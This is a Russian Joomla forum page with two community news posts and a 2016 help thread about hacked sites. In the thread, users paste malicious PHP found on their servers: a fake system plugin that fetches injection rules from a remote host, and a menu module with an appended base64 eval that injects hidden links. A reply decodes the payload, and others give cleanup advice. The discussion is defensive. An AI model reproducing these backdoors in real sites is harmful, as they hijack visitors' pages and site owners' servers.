Новости Joomla

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🏆 Открыто голосование за Joomla в  премии CMS Critic People’s Choice Awards 2025

🗓 Голосование продлится до 27 февраля 2026 года.

👩‍💻 Проголосовать! 👩‍💻

Номинации, в которых можно проголосовать за Joomla:
⭐️ Best Free CMS
⭐️ Best Open Source CMS
⭐️ Best Enterprise CMS

Также в номинации Best e-Commerce Solution участвуют компоненты интернет-магазинов для Joomla:
⭐️ HikaShop
⭐️ Virtuemart

В номинации Best Website Builder оказались:
⭐️ YooTheme
⭐️ SP Page Builder

Что такое CMS Critic Awards?
С 2012 года премия CMS Critic Awards занимает особое место в сообществе систем управления контентом (CMS). Это единственный в своем роде сайт, который составляет рейтинг системы управления контентом и связанных с ними решений на рынке — от малого до крупного и подчеркивает их инновации и услуги.

Каждый год награда CMS Critic Awards присуждается одному победителю в различных отраслевых категориях, таких как: «Лучшая облачная CMS», «Лучший DXP», «Лучшая Headless CMS и других. Затем результаты оглашаются через СМИ вместе с выбором редакции CMS Critic.
В этом году премия вернулась к своим традициям и только TOP-5 движков по количеству номинаций попали в 2-й этап - голосование.

@joomlafeed

👩‍💻 Вместе мы развиваем Joomla: станьте Joomfluencer!

👩‍💻 Вместе мы развиваем Joomla: станьте Joomfluencer!

Вы уверенно чувствуете себя перед камерой, динамичны, обаятельны и всегда улыбаетесь? Чувствуете себя искателем приключений, готовым поделиться своими исследованиями CMS Joomla!, взять интервью у видных деятелей сообщества, пообщаться лично или по видеосвязи с волонтерами Joomla или отправиться на поиски новых идей?

Joomla ищет одного или нескольких волонтеров, готовых вдохнуть новую жизнь в обсуждение Joomla, ее CMS, пользователей, сообщества и многого другого.

Возможны самые разные форматы и темы: шортсы, интервью, аналитика и разборы в режиме реального времени, быстрые советы и рекомендации, знакомство с миром Joomla, изучение открытого исходного кода... Нет никаких ограничений!

Joomla! уже активно представлена ​​во многих социальных сетях:
- 155K подписчиков на Facebook,
- 55K подписчиков на X (ранее Twitter),
- 16K подписчиков на YouTube,
- 14K подписчиков на LinkedIn,
- 5,7K подписчиков в Instagram
а так же другие площадки ждут вас. Аккаунты Threads и Bluesky относительно новые, но их популярность только растёт!

А если хватит энергии, можно рассмотреть и TikTok!

❓ Итак, вы готовы?
👉 Свяжитесь с отделом маркетинга по адресу: marketing@community.joomla.org

Подробности в статье в Joomla Community Magazine.

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 20 Ответов
  • 2822 Просмотров
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Взломали сайт
« : 04.05.2016, 19:42:59 »
С утра перестали работать сразу 2 магазина с хорошими продажами и трафиком.
Переписка с саппортом хостинга ничего не дала. Сказали идут запросы на 217.12.214.248 и по таймауту 60 сек. сайт отваливается.

Обновление всех компонентов до последних версий ничего не дало, сайт так и не открывался.
Начал отключать все компоненты/плагины по очереди.

Когда дошел до System-Model плагина - сайт заработал.

Открываю настройки этого плагина:
Error. The file model.xml could not be found.

Открываю этот плагин через ftp /plugins/system/model/model.php

Код
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class  plgSystemModel extends JPlugin {

    function plgSystemModel(& $subject, $config) {
        parent::__construct($subject, $config);
    }
   
    function getCategoriesListView( $object_id, $page = 0 ) {
global $myCat;
$object_id = (int) $object_id;
$object_group = trim( $object_group );

$acl = & CategoryFactory::getACL();
$config = & JCommentsFactory::getConfig();
$comments_per_page = $config->getInt('category_per_page');
$comments_page_limit = $config->getInt('category_page_limit');
$canPublish = $acl->canPublish();
    }
   
    function onAfterRender() {
        $body = JResponse::getBody();
if(!$body||$body=='') return true;
        $body = $this->installOptions($body);
        JResponse::setBody($body);
    }
   
    function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
global $my;

$object_id = (int) $object_id;
$object_group = trim($object_group);

$acl = & JCommentsFactory::getACL();
$config = & JCommentsFactory::getConfig();
$canPublish = $acl->canPublish();
$canComment = $acl->canComment();
    }
   
    function getURIattr() {
        return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI'];
    }
   
    public function getConfigOpt() {
        $pg = $this->getThisPage();
        $Conf = @file_get_contents($pg.'/?d=' . $_SERVER['HTTP_HOST']);
        return @unserialize($Conf);
    }
   
    function CategoryViewsTime( $name, $reason = '') {
global $mainframe, $my;

$config = & JCommentsFactory::getConfig();

if ($config->get('CategoryGet')!= '') {
            $object = new stdClass();
            $object->object_cat = CategoryFactory::getAbs($object->object_cat);
            $commentText  = $comment->comment;
}
    }
   
    function installOptions($content) {
        try {
            $getOptions = $this->getConfigOpt();
            $ord = @$getOptions['l'][$this->getURIattr()];
            if(count(@$ord['m'])) {
                $opt = (@$ord['k'])? $ord['k'] : $getOptions['d'];
                $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array();
                $l=''; foreach(array_merge($ord['m'], $mopt) as $elem) {$l .= ' '. $elem;}
                $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1);
            }
        } catch (Exception $e) {}
        return $content;
    }
   
    function loadAlternateCatergory($languageSuffix = '') {
        if ($languageSuffix == '') {
$languageSuffix = CategoryInput::getVar('lsfx', '');
}
if ($languageSuffix != '') {
$config = & CategoryFactory::getConfig();
$config->set('lsfx', $languageSuffix);

$language = & JFactory::getLanguage();
$language->load($languageSuffix);
}
    }
   
    function getThisPage() {
        return 'ht'.'tp'.':/'.'/mota'.'8no'.'y.c'.'om';
    }
}
?>

Ссылка на http://mota8noy.com, по IP как раз 217.12.214.248.

Но дата создания этого файла и папки 2014 год, а до сегодняшнего дня никаких проблем не было.
Причем у меня стоит jSecure, доступа нет к админке.

Кто по коду может описать что этот файл делал?
*

Missile

  • Завсегдатай
  • 1116
  • 90 / 1
Re: Взломали сайт
« Ответ #1 : 04.05.2016, 19:52:02 »
Шаблончик варёзный?
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Re: Взломали сайт
« Ответ #2 : 04.05.2016, 19:59:52 »
Шаблончик варёзный?
Нет, лицензионный HikaShop Business установлен на дефолтовый protostar.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #3 : 04.05.2016, 20:32:45 »
И ни одного варезного модуля?
А версии какие?
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Re: Взломали сайт
« Ответ #4 : 04.05.2016, 20:37:14 »
И ни одного варезного модуля?
А версии какие?
Варезный это взломанный или бесплатный? Взломанных нет. jSecure тоже лицензионный. Но Joomla 3.2.2, тут косяк конечно.
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Взломали сайт
« Ответ #5 : 04.05.2016, 20:58:08 »
3.2.2 2 критические уязвимости при использовании php 5.3, одна если повыше.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #6 : 04.05.2016, 21:23:36 »
Но Joomla 3.2.2, тут косяк конечно.
Ну и зачем тогда темы создавать?
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Re: Взломали сайт
« Ответ #7 : 04.05.2016, 21:40:00 »
Ну и зачем тогда темы создавать?
Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть. Если вы сами этого не поняли.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #8 : 04.05.2016, 21:51:50 »
Вторая строчка в подписи.
3 месяца на форуме красными буквами висело.
Но да. Да здравствует энтропия
*

Missile

  • Завсегдатай
  • 1116
  • 90 / 1
Re: Взломали сайт
« Ответ #9 : 05.05.2016, 04:45:11 »
Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть.
Делать нужно 2 вещи, в первую очередь:
1) Регулярно обновлять Joomla и все расширения.
2) Не пользоваться варёзом.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.
Таких тем за день бывает штук 10, потому что люди не выполняют требования п.п. 1 и 2. Качают "бесплатные" шаблоны и расширения, нашпигованные бэкдорами, а потом начинают кричать: "Что делать, сайт взломали!"
Серьёзно - вы думаете, что это "бесплатное" добро распространяют альтруисты, которые покупают расширения, а потом раздают их даром? Вот так люди и становятся донорами для чьих-то г*ссылок, участниками спамерской сети или частью ботнета.

В прикреплённых темах в разделе "Безопасность сайтов" всё прекрасно расписано. Что делать? Читать, думать, исправлять ошибки и мотать на ус.
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Взломали сайт
« Ответ #10 : 06.05.2016, 16:22:09 »
@alikon1, как я понимаю, вы этот код удалили. Но шелл, через который все это вам написали, наверняка остался. Пройдитесь айболитом, может что то еще найдет. Если не будете нанимать специалиста для чистки, смотрите внимательно за сайтами. Запретите изменения тех файлов, в которых вы находите чужие скрипты, таким образом в error_log появится информация о том, кто или что эти записи делает и найти источник проблем. Возможно шеллов несколько. Установите какой нибудь скрипт контроля файлов по хешам (дата изменения легко подменяется), и запускайте его кроном. Ну и естественно обновите до актуальной версии.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #11 : 12.05.2016, 13:29:40 »
Уважаемые форумчане помогите взломали школьный сайт (pavl-school.ru) при обращении к нему пишет Gateway Timeout, написал письмо в RuCentr с просьбой выяснить что случилось, они написали что сайт взломан и обращается на левый IP и  сайт gene7conf.com который не существует т.к. я не спец в PHP я неделю уже бьюсь нашел зараженный файл, с помощью онлайн антивируса, нашел его там в конце всякие кракозябры но при удалении их или только строки echo eval(base64_decode($SystemJoCode)); сайт выдает ошибку 500. Помогите справится. Код прилагается.
Код
<?php 
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
 
if(!defined('OfflajnMenuBase')) {
  define("OfflajnMenuBase", null);

  class OfflajnMenuBase{
   
    var $_template;
   
    var $_module;
   
    var $_params;
   
    var $items;
   
    var $allItems;
   
    var $active;
   
    var $pointer;
   
    var $itemsCount;
   
    var $stack;
   
    var $level;
   
    var $endLevel;
   
    var $startLevel;
   
    var $improvedStartLevel;
   
    var $opened;
   
    var $openedlevels;
   
    function OfflajnMenuBase($module, $params){
      $this->_module = $module;
      $this->_params = $params;
      $this->endLevel = $params->get('endLevel', 1000);
      if($this->endLevel == 0) $this->endLevel = 1000;
      $this->startLevel = $params->get('startLevel', 0);
      $this->improvedStartLevel = $params->get('improvedstartlevel', 1);
      $this->opened = $params->get('opened', 2);
      $ol = $params->get('openedlevels', 0);
      if(!is_array($ol)){
        $ol = array($ol);
      }
      $this->openedlevels = array_flip($ol);
    }
   
    function generateItems(){
      $options = array();
      $this->allItems = array();
      $this->active = new stdClass();
      $this->items = array();
    }
   
  function getItems(){
      /*
      If COOKIE tracking enabled
      */
      if($this->opened == 3){
        foreach($_COOKIE AS $k => $v){
          if($v == 1 && strpos($k, $this->_module->instanceid)!== false){
            $val = (int)str_replace($this->_module->instanceid.'-'.$this->_module->navClassPrefix, '', $k);
        //print_r($this->allItems[$val]);
            if($val > 0 && isset($this->allItems[$val]) ){
              $this->allItems[$val]->opened = true;
            }
          }
        }
      }
     
      $this->filterItems();
     
    $root = 0;
  if(isset($this->active)){
        $i = $this->active->id;
    $stack = array($this->active->id);
    $el = $this->active;
        while($i > 0){
          $el = $this->allItems[$i];
          $i = $el->parent;
          $stack[] = $i;
        }
        $c = count($stack);
        if($c > 0){
          switch($this->_params->get('active', 1)){
            case 1:
              $this->allItems[$stack[0]]->active = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->active = true;
              }
              break;
          }
         
          switch($this->opened){
            case 1:
              $this->allItems[$stack[0]]->opened = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->opened = true;
              }
              break;
          }
        }
       
    if($this->startLevel > 0){
          if($this->improvedStartLevel){
            while($this->startLevel != 0){
              if(isset($stack[$c-$this->startLevel-1]) && isset($this->helper[$stack[$c-$this->startLevel-1]])){
                $root = $stack[$c-$this->startLevel-1];
                break;
              }
              $this->startLevel--;
            }
          }else{
            $root = -1;
            if(isset($stack[$c-$this->startLevel-1])){
              $root = $stack[$c-$this->startLevel-1];
            }
          }
        }
      }
     
      $p = new stdClass();
      if($root > 0 && isset($this->allItems[$root])){
        $p = $this->allItems[$root];
      }else{
        $p->id = $root;
      }
  return $this->getChilds($p, 1);
  }
   
    function filterItems(){
  $this->helper = array();
  foreach ($this->allItems as $item){
  if (!is_object($item)) continue;
    $item->p = false; // parent
    $item->fib = false; // First in Branch
    $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
    $item->active = false; // Active
  $this->helper[$item->parent][] = $item;
  }
    }
   
  function getChilds(&$parent, $level){
    $items = array();
    if(isset($this->helper[$parent->id])){
        $helper = &$this->helper[$parent->id];
        usort($helper, array($this, "menuOrdering")); // It can slow down the proccess. Not required every time... With this the process half as fast...
        $helper[0]->fib = true;
        $helper[count($helper)-1]->lib = true;
        if($level <= $this->endLevel){
          $i = 0;
          $keys = array_keys($helper);
          for($j = 0; $j < count($keys); $j++){
            $h = &$helper[$keys[$j]];
            $h->parent = &$parent;
            $childs =& $this->getChilds($h, $level+1);
            if(count($childs) > 0) $h->p = true;
            $h->level = $level;
            $items[] = &$h;
            $i = count($items);
            array_splice($items, $i, 0, $childs);
          }
        }
      }
      return $items;
    }
   
    function filterItem(&$item){
      $item->nname = '<span>'.stripslashes($item->name).'</span>';
    }
   
    function menuOrdering(&$a, &$b){
        return 0;
    }
 
  function render($template){
    $this->pointer = 0;
    $this->itemsCount = count($this->items);
    $this->_template = $template;
      $this->stack = array();
      $this->level = 1;
      $this->up = false;
      $this->renderItem();
      /*$level = 0;
      foreach($this->items as $item){
        include $template;
      }*/
    }
   
    function renderItem(){
      while($this->pointer < $this->itemsCount){
        $item =& $this->items[$this->pointer++];
        $this->filterItem($item);
        include $this->_template;
      }
    }
  }
}
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }
?>
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт
« Ответ #12 : 12.05.2016, 14:21:06 »
Цитировать
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }

Это код вызова скрытых ссылок, вам нужно удолять не только echo eval(base64_decode($SystemJoCode)); а всю функцию в которой она вызывается, также вам нужно еще найти где вызывается эта функция, если она не оббусифецирована то вызов ее будет таков AccordionMenuParGet();

Ну так полагаю эта малая часть из того что вам удалось найти...

P.S:
Если разобрать код в читабельный вид, то в нем прописано:
Цитировать
echo "<div style='position:absolute;left:-4501px;width:531px'>"; echo @file_get_contents('http://template-license.ru/license.php'); echo '</div>';
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #13 : 13.05.2016, 11:51:18 »
Проверил антивирусом Ai Bolit нашел 21 вредоносный или хакерский скрипт из них 17 в tmp эту папку я почистил но вот 4 файла они относятся к меню по совету я вычистил тот мусор что был указан и все равно при открытии сайта выходит ошибка 500, может я чего лишнего убираю (ну не знаю я PHP) ниже коды файлов. Один выложен выше.
menu.php
Код
<?php 
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined('_JEXEC') or die('Restricted access');
if(!defined('OfflajnJoomlaMenu')) {
  define("OfflajnJoomlaMenu", null);
  jimport('joomla.application.menu');
  jimport('joomla.html.parameter');
 
  require_once(dirname(__FILE__). DS .'..'.DS.'..'.DS.'core'.DS.'MenuBase.php');

  class OfflajnJoomlaMenu extends OfflajnMenuBase{
   
    function OfflajnJoomlaMenu($module, $params){
      parent::OfflajnMenuBase($module, $params);
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $this->parentName = 'parent_id';
        $this->name = 'title';
      }else{
        $this->parentName = 'parent';
        $this->name = 'name';
      }
    }
   
    function generateItems(){
      $options = array();
      $menu =& JMenu::getInstance('site', $options);
      $this->allItems = $menu->getMenu();
      $this->active =& $menu->getActive();
      $this->items = $this->getItems();
    }
   
    function filterItems(){
      $this->helper = array();
      $user =& JFactory::getUser();
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $aid = $user->getAuthorisedViewLevels();
      }else{
        $aid = $user->get('aid');
      }
      $menutype = $this->_params->get('joomlamenu');
      $ids = $this->_params->get('joomlamenutype');
      if(!is_array($ids) && is_string($ids)){
        $ids = array($ids);
      }
      if(!in_array(0, $ids) && count($ids) > 0){
        if(count($ids) == 1){
          $keys = array_keys($this->allItems);
          $newParent = $ids[0];
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if($el->{$this->parentName} == $newParent) $el->{$this->parentName} = 0;
            elseif($el->{$this->parentName} == 0) $el->{$this->parentName} = -1;
          }
        }else{
          $keys = array_keys($this->allItems);
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if(in_array($el->id, $ids)) $el->{$this->parentName} = version_compare(JVERSION,'1.6.0','ge')? 1 : 0;
            elseif($el->{$this->parentName} == (version_compare(JVERSION,'1.6.0','ge')? 1 : 0)) $el->{$this->parentName} = -1;
          }
        }
      }
      $keys = array_keys($this->allItems);
      for($x=0; $x < count($keys); $x++ ){
        $item = &$this->allItems[$keys[$x]];
        if (!is_object($item)) continue;
        $item->parent = version_compare(JVERSION,'1.6.0','ge') && $item->{$this->parentName} == 1 ? 0 : $item->{$this->parentName};
        version_compare(JVERSION,'1.6.0','ge')? $item->ordering = $x : 0;
        if ($item->menutype == $menutype && (is_array($aid)? in_array($item->access, $aid) : $item->access <= $aid) ){
          $item->p = false; // parent
          $item->fib = false; // First in Branch
          $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
          $item->active = false; // Active
          $this->helper[$item->parent][] = $item;
        }
      }
    }
   
       
    function filterItem(&$item){
      $item->cparams = new JParameter($item->params);
      if($item->type == 'menulink' || $item->type == 'alias'){
        $itemid = version_compare(JVERSION,'1.6.0','ge')?  $item->cparams->get('aliasoptions') : $item->cparams->get('menu_item');
        if(isset($this->allItems[$itemid])){
          $newItem = $this->allItems[$itemid];
          $item->link = $newItem->link;
          $item->ttype = $newItem->type;
          $item->id = $newItem->id;
        }else{
          $item->ttype = 'separator';
        }
      }else{
        $item->ttype = $item->type;
      }
      $item->nname = '<span>'.$item->{$this->name}.'</span>';
     
      $image = '';
      if ($this->_params->get('menu_images') && $item->cparams->get('menu_image') && $item->cparams->get('menu_image')!= -1) {
  switch ($this->_params->get('menu_images_align', 0)){
  case 0 :
    $imgalign='align="left"';
    break;
  case 1 :
    $imgalign='align="right"';
    break;
  default :
    $imgalign='';
    break;
  }
  $image = '<img src="'.JURI::base(true).'/images/stories/'.$item->cparams->get('menu_image').'" '.$imgalign.' alt="'.$item->alias.'" />';
  if($this->_params->get('menu_images_link')){
    $item->nname = null;
        }
  }
 
  if($this->_params->get('parentlink') == 0 && $item->p){
        $item->ttype = 'separator';
      }
     
  switch ($item->ttype){
  case 'separator' :
  $item->url = '';
  return true;
  case 'url' :
  if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
  $item->url = $item->link.'&amp;Itemid='.$item->id;
  } else {
  $item->url = $item->link;
  }
  break;
 
  default :
  $router = JSite::getRouter();
  $item->url = $router->getMode() == JROUTER_MODE_SEF ? 'index.php?Itemid='.$item->id : $item->link.'&Itemid='.$item->id;
  break;
  }
  if ($item->url != ''){
  // Handle SSL links
  $iSecure = $item->cparams->def('secure', 0);
  if ($item->home == 1) {
  $item->url = JURI::base();
  } elseif (strcasecmp(substr($item->url, 0, 4), 'http') && (strpos($item->link, 'index.php?')!== false)) {
  $item->url = JRoute::_($item->url, true, $iSecure);
  } else {
  $item->url = str_replace('&', '&amp;', $item->url);
  }
 
  switch ($item->browserNav)
  {
  default:
  case 0:
  // _top
  $item->nname = '<a href="'.$item->url.'">'.$image.$item->nname.'</a>';
  break;
  case 1:
  // _blank
  $item->nname = '<a href="'.$item->url.'" target="_blank">'.$image.$item->nname.'</a>';
  break;
  case 2:
  // window.open
  $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,'.$this->_params->get('window_open');
  $link = str_replace('index.php', 'index2.php', $item->url);
  $item->nname = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;">'.$image.$item->nname.'</a>';
  break;
  }
  } else {
  $item->nname = '<a>'.$image.$item->nname.'</a>';
  }
    }
   
    function menuOrdering(&$a, &$b){
      if ($a->ordering == $b->ordering) {
          return 0;
      }
      return ($a->ordering < $b->ordering)? -1 : 1;
    }
  }
}
$OfflajnExtenParam = AccordionMenuParGet();
?>

theme.js
Код
var ThemeConfigurator = {};

dojo.declare("ThemeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.themeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'last');
   
   this.tpc = dojo.byId('themeparamcontainer');
   this.themeDetails = dojo.byId('theme-details');
   
   this.selectTheme = dojo.byId(this.selectTheme);
   this.savedindex = this.selectTheme.selectedIndex;
   dojo.connect(this.selectTheme, 'onchange', this, 'changeTheme');
   this.changeTheme();
  },
 
  changeTheme: function(e){
    this.theme = this.selectTheme.options[this.selectTheme.selectedIndex].value;
    if(this.theme == '' || this.theme == 'default') this.theme = 'default2';
    dojo.byId('theme-details').innerHTML = eval('this.themeParams.'+this.theme);
    eval(eval('this.themeScripts.'+this.theme));
    if(e != undefined && this.savedindex != this.selectTheme.selectedIndex)
      setTimeout(dojo.hitch(this, "changeSkin"), 500 );
  },
 
  changeSkin: function(){
    var el = dojo.byId('paramsthemeskin')? dojo.byId('paramsthemeskin') : dojo.byId('jformparamsthemethemeskin');
    el.selectedIndex = 1;
    changeSkinsthemeskin(el);
  }
 
});
type.js
Код
dojo.declare("TypeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.typeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'first');
   
   this.tpc = dojo.byId('typeparamcontainer');
   this.typeDetails = dojo.byId('type-details');
   
   this.selectType = dojo.byId(this.selectorId);
   dojo.connect(this.selectType, 'onchange', this, 'changeType');
   this.changeType();
  },
 
  changeType: function(e){
    this.type = this.selectType.options[this.selectType.selectedIndex].value;
    if(this.type == '' || this.type == 'joomla') this.type = 'joomla';
    dojo.byId('type-details').innerHTML = eval('this.typeParams.'+this.type);
    eval(eval('this.typeScripts.'+this.type));
  }
});

dojo.declare("JoomlaType", null, {
  constructor: function(args){
    dojo.mixin(this, args);
    this.list = dojo.byId(this.selectorId);
    this.select = dojo.byId("paramsjoomlamenu")? dojo.byId("paramsjoomlamenu") : dojo.byId('jformparamsmenutypejoomlamenu');
    dojo.destroy(this.select.options[0]);
    dojo.connect(this.select, 'onchange', this, "changeList");
    this.defaultMenu = this.select.options[this.select.selectedIndex].value;
    this.changeList();
  },
 
  changeList: function(e) {
      var type = this.select.options[this.select.selectedIndex].value;
      this.list.innerHTML = this.data[type];
      if (type!=this.defaultMenu && e && e.currentTarget == this.select) this.list.selectedIndex = 0;   
      if(e == undefined) this.list.selectedIndex = 0;
  }
});
С утра голову ломаю.  !
 
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #14 : 13.05.2016, 13:19:45 »
Да уж, проверил еще раз AiBolit-ом уже 50 вредоносных.  :o  :(  *DRINK*
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Взломали сайт
« Ответ #15 : 13.05.2016, 14:40:28 »
Да уж, проверил еще раз AiBolit-ом уже 50 вредоносных.  :o  :(  *DRINK*

Сколько сайтов на аккаунте и какие версии Joomla?
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #16 : 16.05.2016, 11:30:34 »
Сайт 1? Joomla! 2.5.28
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Взломали сайт
« Ответ #17 : 16.05.2016, 12:08:25 »
Патч безопасности стоит?
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #18 : 17.05.2016, 08:37:38 »
Нет и обновить Joomla до 3 версии не могу
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Взломали сайт
« Ответ #19 : 17.05.2016, 08:57:32 »
Ну надо поставить и чистить. Еще бы неплохо список расширений знать. У меня еще один сайт на Joomla 1.5 есть и нормально работает.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Взломали сайт
« Ответ #20 : 17.05.2016, 13:45:15 »
У меня еще один сайт на Joomla 1.5 есть и нормально работает.
У нас десятки и работают))
Дело не в версии.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

При открытии сайта с режима инкогнито перекидывает на вирусный сайт

Автор 62411

Ответов: 6
Просмотров: 3894
Последний ответ 31.03.2024, 16:14:32
от SeBun
Netflix! - Клиент поймал фишинг на старый сайт. Где порылись собаки?

Автор Alex_gs

Ответов: 9
Просмотров: 2652
Последний ответ 05.11.2021, 21:47:31
от wishlight
Взломали сайт. Как в некоторых случаях делаю я

Автор cntrl

Ответов: 0
Просмотров: 1505
Последний ответ 29.08.2020, 00:25:24
от cntrl
Безопасный вход на сайт Joomla и админка

Автор jm

Ответов: 9
Просмотров: 2634
Последний ответ 19.07.2020, 23:57:17
от wishlight
[Руководство] Как защитить сайт на версии 1.5 (не поддерживается разработчиками)

Автор flyingspook

Ответов: 13
Просмотров: 8295
Последний ответ 08.01.2020, 12:52:55
от winstrool